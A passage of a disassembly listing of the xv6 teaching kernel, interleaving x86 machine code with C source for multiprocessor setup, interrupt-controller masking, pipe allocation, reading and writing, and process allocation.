89 f6 mov %esi,%esi 80103149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103150: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 80103153: 39 c6 cmp %eax,%esi 80103155: 77 dd ja 80103134 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 80103157: 85 db test %ebx,%ebx 80103159: 0f 84 9e 00 00 00 je 801031fd <mpinit+0x1bd> panic("Didn't find a suitable machine"); if(mp->imcrp){ 8010315f: 8b 45 e4 mov -0x1c(%ebp),%eax 80103162: 80 78 0c 00 cmpb $0x0,0xc(%eax) 80103166: 74 15 je 8010317d <mpinit+0x13d> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103168: b8 70 00 00 00 mov $0x70,%eax 8010316d: ba 22 00 00 00 mov $0x22,%edx 80103172: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103173: ba 23 00 00 00 mov $0x23,%edx 80103178: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 80103179: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010317c: ee out %al,(%dx) } } 8010317d: 8d 65 f4 lea -0xc(%ebp),%esp 80103180: 5b pop %ebx 80103181: 5e pop %esi 80103182: 5f pop %edi 80103183: 5d pop %ebp 80103184: c3 ret 80103185: 8d 76 00 lea 0x0(%esi),%esi if(ncpu < NCPU) { 80103188: 8b 0d 00 2d 11 80 mov 0x80112d00,%ecx 8010318e: 83 f9 07 cmp $0x7,%ecx 80103191: 7f 19 jg 801031ac <mpinit+0x16c> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 80103193: 0f b6 50 01 movzbl 0x1(%eax),%edx 80103197: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi ncpu++; 8010319d: 83 c1 01 add $0x1,%ecx 801031a0: 89 0d 00 2d 11 80 mov %ecx,0x80112d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801031a6: 88 97 80 27 11 80 mov %dl,-0x7feed880(%edi) p += sizeof(struct mpproc); 801031ac: 83 c0 14 add $0x14,%eax continue; 801031af: e9 7c ff ff ff jmp 80103130 <mpinit+0xf0> 801031b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ioapicid = ioapic->apicno; 801031b8: 0f b6 50 01 movzbl 0x1(%eax),%edx p += sizeof(struct mpioapic); 801031bc: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 801031bf: 88 15 60 27 11 80 mov %dl,0x80112760 continue; 801031c5: e9 66 ff ff ff jmp 80103130 <mpinit+0xf0> 801031ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return mpsearch1(0xF0000, 0x10000); 801031d0: ba 00 00 01 00 mov $0x10000,%edx 801031d5: b8 00 00 0f 00 mov $0xf0000,%eax 801031da: e8 e1 fd ff ff call 80102fc0 <mpsearch1> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801031df: 85 c0 test %eax,%eax return mpsearch1(0xF0000, 0x10000); 801031e1: 89 45 e4 mov %eax,-0x1c(%ebp) if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801031e4: 0f 85 a9 fe ff ff jne 80103093 <mpinit+0x53> 801031ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi panic("Expect to run on an SMP"); 801031f0: 83 ec 0c sub $0xc,%esp 801031f3: 68 dd 74 10 80 push $0x801074dd 801031f8: e8 93 d1 ff ff call 80100390 <panic> panic("Didn't find a suitable machine"); 801031fd: 83 ec 0c sub $0xc,%esp 80103200: 68 fc 74 10 80 push $0x801074fc 80103205: e8 86 d1 ff ff call 80100390 <panic> ismp = 0; 8010320a: 31 db xor %ebx,%ebx 8010320c: e9 26 ff ff ff jmp 80103137 <mpinit+0xf7> 80103211: 66 90 xchg %ax,%ax 80103213: 66 90 xchg %ax,%ax 80103215: 66 90 xchg %ax,%ax 80103217: 66 90 xchg %ax,%ax 80103219: 66 90 xchg %ax,%ax 8010321b: 66 90 xchg %ax,%ax 8010321d: 66 90 xchg %ax,%ax 8010321f: 90 nop 80103220 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103220: 55 push %ebp 80103221: b8 ff ff ff ff mov $0xffffffff,%eax 80103226: ba 21 00 00 00 mov $0x21,%edx 8010322b: 89 e5 mov %esp,%ebp 8010322d: ee out %al,(%dx) 8010322e: ba a1 00 00 00 mov $0xa1,%edx 80103233: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103234: 5d pop %ebp 80103235: c3 ret 80103236: 66 90 xchg %ax,%ax 80103238: 66 90 xchg %ax,%ax 8010323a: 66 90 xchg %ax,%ax 8010323c: 66 90 xchg %ax,%ax 8010323e: 66 90 xchg %ax,%ax 80103240 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103240: 55 push %ebp 80103241: 89 e5 mov %esp,%ebp 80103243: 57 push %edi 80103244: 56 push %esi 80103245: 53 push %ebx 80103246: 83 ec 0c sub $0xc,%esp 80103249: 8b 5d 08 mov 0x8(%ebp),%ebx 8010324c: 8b 75 0c mov 0xc(%ebp),%esi struct pipe *p; p = 0; *f0 = *f1 = 0; 8010324f: c7 06 00 00 00 00 movl $0x0,(%esi) 80103255: c7 03 00 00 00 00 movl $0x0,(%ebx) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010325b: e8 20 db ff ff call 80100d80 <filealloc> 80103260: 85 c0 test %eax,%eax 80103262: 89 03 mov %eax,(%ebx) 80103264: 74 22 je 80103288 <pipealloc+0x48> 80103266: e8 15 db ff ff call 80100d80 <filealloc> 8010326b: 85 c0 test %eax,%eax 8010326d: 89 06 mov %eax,(%esi) 8010326f: 74 3f je 801032b0 <pipealloc+0x70> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80103271: e8 4a f2 ff ff call 801024c0 <kalloc> 80103276: 85 c0 test %eax,%eax 80103278: 89 c7 mov %eax,%edi 8010327a: 75 54 jne 801032d0 <pipealloc+0x90> //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 8010327c: 8b 03 mov (%ebx),%eax 8010327e: 85 c0 test %eax,%eax 80103280: 75 34 jne 801032b6 <pipealloc+0x76> 80103282: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileclose(*f0); if(*f1) 80103288: 8b 06 mov (%esi),%eax 8010328a: 85 c0 test %eax,%eax 8010328c: 74 0c je 8010329a <pipealloc+0x5a> fileclose(*f1); 8010328e: 83 ec 0c sub $0xc,%esp 80103291: 50 push %eax 80103292: e8 a9 db ff ff call 80100e40 <fileclose> 80103297: 83 c4 10 add $0x10,%esp return -1; } 8010329a: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010329d: b8 ff ff ff ff mov $0xffffffff,%eax } 801032a2: 5b pop %ebx 801032a3: 5e pop %esi 801032a4: 5f pop %edi 801032a5: 5d pop %ebp 801032a6: c3 ret 801032a7: 89 f6 mov %esi,%esi 801032a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(*f0) 801032b0: 8b 03 mov (%ebx),%eax 801032b2: 85 c0 test %eax,%eax 801032b4: 74 e4 je 8010329a <pipealloc+0x5a> fileclose(*f0); 801032b6: 83 ec 0c sub $0xc,%esp 801032b9: 50 push %eax 801032ba: e8 81 db ff ff call 80100e40 <fileclose> if(*f1) 801032bf: 8b 06 mov (%esi),%eax fileclose(*f0); 801032c1: 83 c4 10 add $0x10,%esp if(*f1) 801032c4: 85 c0 test %eax,%eax 801032c6: 75 c6 jne 8010328e <pipealloc+0x4e> 801032c8: eb d0 jmp 8010329a <pipealloc+0x5a> 801032ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi initlock(&p->lock, "pipe"); 801032d0: 83 ec 08 sub $0x8,%esp p->readopen = 1; 801032d3: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801032da: 00 00 00 p->writeopen = 1; 801032dd: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801032e4: 00 00 00 p->nwrite = 0; 801032e7: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801032ee: 00 00 00 p->nread = 0; 801032f1: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801032f8: 00 00 00 initlock(&p->lock, "pipe"); 801032fb: 68 30 75 10 80 push $0x80107530 80103300: 50 push %eax 80103301: e8 ca 0f 00 00 call 801042d0 <initlock> (*f0)->type = FD_PIPE; 80103306: 8b 03 mov (%ebx),%eax return 0; 80103308: 83 c4 10 add $0x10,%esp (*f0)->type = FD_PIPE; 8010330b: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 80103311: 8b 03 mov (%ebx),%eax 80103313: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 80103317: 8b 03 mov (%ebx),%eax 80103319: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 8010331d: 8b 03 mov (%ebx),%eax 8010331f: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 80103322: 8b 06 mov (%esi),%eax 80103324: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 8010332a: 8b 06 mov (%esi),%eax 8010332c: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103330: 8b 06 mov (%esi),%eax 80103332: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80103336: 8b 06 mov (%esi),%eax 80103338: 89 78 0c mov %edi,0xc(%eax) } 8010333b: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 8010333e: 31 c0 xor %eax,%eax } 80103340: 5b pop %ebx 80103341: 5e pop %esi 80103342: 5f pop %edi 80103343: 5d pop %ebp 80103344: c3 ret 80103345: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103350 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103350: 55 push %ebp 80103351: 89 e5 mov %esp,%ebp 80103353: 56 push %esi 80103354: 53 push %ebx 80103355: 8b 5d 08 mov 0x8(%ebp),%ebx 80103358: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010335b: 83 ec 0c sub $0xc,%esp 8010335e: 53 push %ebx 8010335f: e8 ac 10 00 00 call 80104410 <acquire> if(writable){ 80103364: 83 c4 10 add $0x10,%esp 80103367: 85 f6 test %esi,%esi 80103369: 74 45 je 801033b0 <pipeclose+0x60> p->writeopen = 0; wakeup(&p->nread); 8010336b: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 80103371: 83 ec 0c sub $0xc,%esp p->writeopen = 0; 80103374: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 8010337b: 00 00 00 wakeup(&p->nread); 8010337e: 50 push %eax 8010337f: e8 ac 0b 00 00 call 80103f30 <wakeup> 80103384: 83 c4 10 add $0x10,%esp } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103387: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010338d: 85 d2 test %edx,%edx 8010338f: 75 0a jne 8010339b <pipeclose+0x4b> 80103391: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 80103397: 85 c0 test %eax,%eax 80103399: 74 35 je 801033d0 <pipeclose+0x80> release(&p->lock); kfree((char*)p); } else release(&p->lock); 8010339b: 89 5d 08 mov %ebx,0x8(%ebp) } 8010339e: 8d 65 f8 lea -0x8(%ebp),%esp 801033a1: 5b pop %ebx 801033a2: 5e pop %esi 801033a3: 5d pop %ebp release(&p->lock); 801033a4: e9 27 11 00 00 jmp 801044d0 <release> 801033a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&p->nwrite); 801033b0: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax 801033b6: 83 ec 0c sub $0xc,%esp p->readopen = 0; 801033b9: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801033c0: 00 00 00 wakeup(&p->nwrite); 801033c3: 50 push %eax 801033c4: e8 67 0b 00 00 call 80103f30 <wakeup> 801033c9: 83 c4 10 add $0x10,%esp 801033cc: eb b9 jmp 80103387 <pipeclose+0x37> 801033ce: 66 90 xchg %ax,%ax release(&p->lock); 801033d0: 83 ec 0c sub $0xc,%esp 801033d3: 53 push %ebx 801033d4: e8 f7 10 00 00 call 801044d0 <release> kfree((char*)p); 801033d9: 89 5d 08 mov %ebx,0x8(%ebp) 801033dc: 83 c4 10 add $0x10,%esp } 801033df: 8d 65 f8 lea -0x8(%ebp),%esp 801033e2: 5b pop %ebx 801033e3: 5e pop %esi 801033e4: 5d pop %ebp kfree((char*)p); 801033e5: e9 26 ef ff ff jmp 80102310 <kfree> 801033ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801033f0 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 801033f0: 55 push %ebp 801033f1: 89 e5 mov %esp,%ebp 801033f3: 57 push %edi 801033f4: 56 push %esi 801033f5: 53 push %ebx 801033f6: 83 ec 28 sub $0x28,%esp 801033f9: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 801033fc: 53 push %ebx 801033fd: e8 0e 10 00 00 call 80104410 <acquire> for(i = 0; i < n; i++){ 80103402: 8b 45 10 mov 0x10(%ebp),%eax 80103405: 83 c4 10 add $0x10,%esp 80103408: 85 c0 test %eax,%eax 8010340a: 0f 8e c9 00 00 00 jle 801034d9 <pipewrite+0xe9> 80103410: 8b 4d 0c mov 0xc(%ebp),%ecx 80103413: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 80103419: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 8010341f: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103422: 03 4d 10 add 0x10(%ebp),%ecx 80103425: 89 4d e0 mov %ecx,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103428: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 8010342e: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx 80103434: 39 d0 cmp %edx,%eax 80103436: 75 71 jne 801034a9 <pipewrite+0xb9> if(p->readopen == 0 || myproc()->killed){ 80103438: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 8010343e: 85 c0 test %eax,%eax 80103440: 74 4e je 80103490 <pipewrite+0xa0> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103442: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103448: eb 3a jmp 80103484 <pipewrite+0x94> 8010344a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi wakeup(&p->nread); 80103450: 83 ec 0c sub $0xc,%esp 80103453: 57 push %edi 80103454: e8 d7 0a 00 00 call 80103f30 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103459: 5a pop %edx 8010345a: 59 pop %ecx 8010345b: 53 push %ebx 8010345c: 56 push %esi 8010345d: e8 1e 09 00 00 call 80103d80 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103462: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103468: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010346e: 83 c4 10 add $0x10,%esp 80103471: 05 00 02 00 00 add $0x200,%eax 80103476: 39 c2 cmp %eax,%edx 80103478: 75 36 jne 801034b0 <pipewrite+0xc0> if(p->readopen == 0 || myproc()->killed){ 8010347a: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 80103480: 85 c0 test %eax,%eax 80103482: 74 0c je 80103490 <pipewrite+0xa0> 80103484: e8 57 03 00 00 call 801037e0 <myproc> 80103489: 8b 40 24 mov 0x24(%eax),%eax 8010348c: 85 c0 test %eax,%eax 8010348e: 74 c0 je 80103450 <pipewrite+0x60> release(&p->lock); 80103490: 83 ec 0c sub $0xc,%esp 80103493: 53 push %ebx 80103494: e8 37 10 00 00 call 801044d0 <release> return -1; 80103499: 83 c4 10 add $0x10,%esp 8010349c: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 801034a1: 8d 65 f4 lea -0xc(%ebp),%esp 801034a4: 5b pop %ebx 801034a5: 5e pop %esi 801034a6: 5f pop %edi 801034a7: 5d pop %ebp 801034a8: c3 ret while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801034a9: 89 c2 mov %eax,%edx 801034ab: 90 nop 801034ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801034b0: 8b 75 e4 mov -0x1c(%ebp),%esi 801034b3: 8d 42 01 lea 0x1(%edx),%eax 801034b6: 81 e2 ff 01 00 00 and $0x1ff,%edx 801034bc: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 801034c2: 83 c6 01 add $0x1,%esi 801034c5: 0f b6 4e ff movzbl -0x1(%esi),%ecx for(i = 0; i < n; i++){ 801034c9: 3b 75 e0 cmp -0x20(%ebp),%esi 801034cc: 89 75 e4 mov %esi,-0x1c(%ebp) p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801034cf: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 801034d3: 0f 85 4f ff ff ff jne 80103428 <pipewrite+0x38> wakeup(&p->nread); //DOC: pipewrite-wakeup1 801034d9: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801034df: 83 ec 0c sub $0xc,%esp 801034e2: 50 push %eax 801034e3: e8 48 0a 00 00 call 80103f30 <wakeup> release(&p->lock); 801034e8: 89 1c 24 mov %ebx,(%esp) 801034eb: e8 e0 0f 00 00 call 801044d0 <release> return n; 801034f0: 83 c4 10 add $0x10,%esp 801034f3: 8b 45 10 mov 0x10(%ebp),%eax 801034f6: eb a9 jmp 801034a1 <pipewrite+0xb1> 801034f8: 90 nop 801034f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103500 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 80103500: 55 push %ebp 80103501: 89 e5 mov %esp,%ebp 80103503: 57 push %edi 80103504: 56 push %esi 80103505: 53 push %ebx 80103506: 83 ec 18 sub $0x18,%esp 80103509: 8b 75 08 mov 0x8(%ebp),%esi 8010350c: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 8010350f: 56 push %esi 80103510: e8 fb 0e 00 00 call 80104410 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103515: 83 c4 10 add $0x10,%esp 80103518: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 8010351e: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 80103524: 75 6a jne 80103590 <piperead+0x90> 80103526: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 8010352c: 85 db test %ebx,%ebx 8010352e: 0f 84 c4 00 00 00 je 801035f8 <piperead+0xf8> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 80103534: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 8010353a: eb 2d jmp 80103569 <piperead+0x69> 8010353c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103540: 83 ec 08 sub $0x8,%esp 80103543: 56 push %esi 80103544: 53 push %ebx 80103545: e8 36 08 00 00 call 80103d80 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 8010354a: 83 c4 10 add $0x10,%esp 8010354d: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 80103553: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 80103559: 75 35 jne 80103590 <piperead+0x90> 8010355b: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103561: 85 d2 test %edx,%edx 80103563: 0f 84 8f 00 00 00 je 801035f8 <piperead+0xf8> if(myproc()->killed){ 80103569: e8 72 02 00 00 call 801037e0 <myproc> 8010356e: 8b 48 24 mov 0x24(%eax),%ecx 80103571: 85 c9 test %ecx,%ecx 80103573: 74 cb je 80103540 <piperead+0x40> release(&p->lock); 80103575: 83 ec 0c sub $0xc,%esp return -1; 80103578: bb ff ff ff ff mov $0xffffffff,%ebx release(&p->lock); 8010357d: 56 push %esi 8010357e: e8 4d 0f 00 00 call 801044d0 <release> return -1; 80103583: 83 c4 10 add $0x10,%esp addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103586: 8d 65 f4 lea -0xc(%ebp),%esp 80103589: 89 d8 mov %ebx,%eax 8010358b: 5b pop %ebx 8010358c: 5e pop %esi 8010358d: 5f pop %edi 8010358e: 5d pop %ebp 8010358f: c3 ret for(i = 0; i < n; i++){ //DOC: piperead-copy 80103590: 8b 45 10 mov 0x10(%ebp),%eax 80103593: 85 c0 test %eax,%eax 80103595: 7e 61 jle 801035f8 <piperead+0xf8> if(p->nread == p->nwrite) 80103597: 31 db xor %ebx,%ebx 80103599: eb 13 jmp 801035ae <piperead+0xae> 8010359b: 90 nop 8010359c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801035a0: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 801035a6: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 801035ac: 74 1f je 801035cd <piperead+0xcd> addr[i] = p->data[p->nread++ % PIPESIZE]; 801035ae: 8d 41 01 lea 0x1(%ecx),%eax 801035b1: 81 e1 ff 01 00 00 and $0x1ff,%ecx 801035b7: 89 86 34 02 00 00 mov %eax,0x234(%esi) 801035bd: 0f b6 44 0e 34 movzbl 0x34(%esi,%ecx,1),%eax 801035c2: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 801035c5: 83 c3 01 add $0x1,%ebx 801035c8: 39 5d 10 cmp %ebx,0x10(%ebp) 801035cb: 75 d3 jne 801035a0 <piperead+0xa0> wakeup(&p->nwrite); //DOC: piperead-wakeup 801035cd: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 801035d3: 83 ec 0c sub $0xc,%esp 801035d6: 50 push %eax 801035d7: e8 54 09 00 00 call 80103f30 <wakeup> release(&p->lock); 801035dc: 89 34 24 mov %esi,(%esp) 801035df: e8 ec 0e 00 00 call 801044d0 <release> return i; 801035e4: 83 c4 10 add $0x10,%esp } 801035e7: 8d 65 f4 lea -0xc(%ebp),%esp 801035ea: 89 d8 mov %ebx,%eax 801035ec: 5b pop %ebx 801035ed: 5e pop %esi 801035ee: 5f pop %edi 801035ef: 5d pop %ebp 801035f0: c3 ret 801035f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801035f8: 31 db xor %ebx,%ebx 801035fa: eb d1 jmp 801035cd <piperead+0xcd> 801035fc: 66 90 xchg %ax,%ax 801035fe: 66 90 xchg %ax,%ax 80103600 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 80103600: 55 push %ebp 80103601: 89 e5 mov %esp,%ebp 80103603: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103604: bb 54 2d 11 80 mov $0x80112d54,%ebx { 80103609: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); 8010360c: 68 20 2d 11 80 push $0x80112d20 80103611: e8 fa 0d 00 00 call 80104410 <acquire> 80103616: 83 c4 10 add $0x10,%esp 80103619: eb 10 jmp 8010362b <allocproc+0x2b> 8010361b: 90 nop 8010361c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103620: 83 c3 7c add $0x7c,%ebx 80103623: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103629: 73 75 jae 801036a0 <allocproc+0xa0> if(p->state == UNUSED) 8010362b: 8b 43 0c mov 0xc(%ebx),%eax 8010362e: 85 c0 test %eax,%eax 80103630: 75 ee jne 80103620 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 80103632: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 80103637: 83 ec 0c sub $0xc,%esp p->state = EMBRYO; 8010363a: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; 80103641: 8d 50 01 lea 0x1(%eax),%edx 80103644: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 80103647: 68 20 2d 11 80 push $0x80112d20 p->pid = nextpid++; 8010364c: 89 15 04 a0 10 80 mov %edx,0x8010a004 release(&ptable.lock); 80103652: e8 79 0e 00 00 call 801044d0 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103657: e8 64 ee ff ff call 801024c0 <kalloc> 8010365c: 83 c4 10 add $0x10,%esp 8010365f: 85 c0 test %eax,%eax 80103661: 89 43 08 mov %eax,0x8(%ebx) 80103664: 74 53 je 801036b9 <allocproc+0xb9> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103666: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 8010366c: 83 ec 04 sub $0x4,%esp sp -= sizeof *p->context; 8010366f: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 80103674: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103677: c7 40 14 5f 57 10 80 movl $0x8010575f,0x14(%eax) p->context = (struct context*)sp; 8010367e: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 80103681: 6a 14 push $0x14 80103683: 6a 00 push $0x0 80103685: 50 push %eax 80103686: e8 95 0e 00 00 call 80104520 <memset> p->context->eip = (uint)forkret; 8010368b: 8b 43 1c mov 0x1c(%ebx),%eax return p; 8010368e: 83 c4 10 add $0x10,%esp p->context->eip = (uint)forkret; 80103691: c7 40 10 d0 36 10 80 movl $0x801036d0,0x10(%eax) } 80103698: 89 d8 mov %ebx,%eax 8010369a: 8b 5d fc mov -0x4(%ebp),%ebx 8010369d: c9 leave 8010369e: c3 ret 8010369f: 90 nop release(&ptable.lock); 801036a0: 83 ec 0c sub $0xc,%esp return 0; 801036a3: 31 db xor %ebx,%ebx release(&ptable.lock); 801036a5: 68 20 2d 11 80 push $0x80112d20 801036aa: e8 21 0e 00 00 call 801044d0 <release> } 801036af: 89 d8 mov %ebx,%eax return 0; 801036b1: 83 c4 10 add $0x10,%esp } 801036b4: 8b 5d fc mov -0x4(%ebp),%ebx 801036b7: c9 leave 801036b8: c3 ret p->state = UNUSED; 801036b9: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 801036c0: 31 db xor %ebx,%ebx 801036c2: eb d4 jmp 80103698 <allocproc+0x98> 801036c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801036d0 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 801036d0: 55 push %ebp 801036d1: 89 e5 mov %esp,%ebp 801036d3: 83 ec 14 sub $0x14,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 801036d6: 68 20 2d 11 80 push $0x80112d20 801036db: e8 f0 0d 00 00 call 801044d0 <release> if (first) { 801036e0: a1 00 a0 10 80 mov 0x8010a000,%eax 801036e5: 83 c4 10 add $0x10,%esp 801036e8: 85 c0 test %eax,%eax 801036ea: 75 04 jne 801036f0 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 801036ec: c9 leave 801036ed: c3 ret 801036ee: 66 90 xchg %ax,%ax iinit(ROOTDEV); 801036f0: 83 ec 0c sub $0xc,%esp first = 0; 801036f3: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 801036fa: 00 00 00 iinit(ROOTDEV); 801036fd: 6a 01 push $0x1 801036ff: e8 7c dd ff ff call 80101480 <iinit> initlog(ROOTDEV); 80103704: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8010370b: e8 f0 f3 ff ff call 80102b00 <initlog> 80103710: 83 c4 10 add $0x10,%esp } 80103713: c9 leave 80103714: c3 ret 80103715: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103720 <pinit>: { 80103720: 55 push %ebp 80103721: 89 e5 mov %esp,%ebp 80103723: 83 ec 10 sub $0x10,%esp initlock(&ptable.lock, "ptable"); 80103726: 68 35 75 10 80 push $0x80107535 8010372b: 68 20 2d 11 80 push $0x80112d20 80103730: e8 9b 0b 00 00 call 